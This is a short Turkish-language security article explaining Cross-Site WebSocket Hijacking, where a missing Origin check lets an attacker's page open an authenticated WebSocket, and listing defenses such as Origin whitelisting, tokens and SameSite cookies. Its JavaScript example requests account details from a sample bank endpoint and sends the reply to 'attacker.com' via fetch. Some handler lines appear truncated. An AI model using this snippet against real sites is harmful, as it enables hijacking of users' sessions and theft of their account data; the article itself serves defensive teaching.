WebSocket Güvenliği: Cross-Site WebSocket Hijacking (CSWSH) ve Frame Manipülasyonu
Teknik Özet ve Araştırma Kapsamı
WebSocket protokolü, istemci ile sunucu arasında çift yönlü (full-duplex) ve düşük gecikmeli iletişim sağlar. Ancak HTTP hand-shake aşamasında Origin başlığı doğrulanmadığı takdirde Cross-Site WebSocket Hijacking (CSWSH) zafiyeti meydana gelir.
1. CSWSH Zafiyetinin Çalışma Mantığı
Kullanıcı hedef sitede oturum açtığında tarayıcı çerezleri saklar. Saldırgan kendi web sitesinde açtığı bir JavaScript istemcisi üzerinden kurbanın tarayıcısını kullanarak hedef WebSocket sunucusuna wss:// bağlantısı başlatır. Tarayıcı varsayılan olarak çerezleri isteğe eklediği için sunucu bağlantıyı onaylar.
var ws = new WebSocket("wss://hedef-banka.com/ws/live-stream");
ws. {
ws.send(JSON.stringify({action: "get_account_details"}));
};
ws. {
fetch("https://attacker.com/log?data=" + encodeURIComponent(event.data));
};
2. Savunma ve Korunma Yöntemleri
- Origin Başlığı Doğrulaması: Sunucu tarafında gelen WebSocket el sıkışma isteğindeki Origin başlığı kesinlikle beyaz liste (whitelist) kontrolünden geçirilmelidir.
- Anti-CSRF Token Entegrasyonu: El sıkışma URL'sine kısa ömürlü, tek kullanımlık rastgele token parametresi eklenmelidir.
- SameSite Cookie Politikası: Çerezlere
SameSite=Strictbayrağı atanarak 3. taraf sitelerden gelen el sıkışma isteklerinde çerez gönderimi engellenmelidir.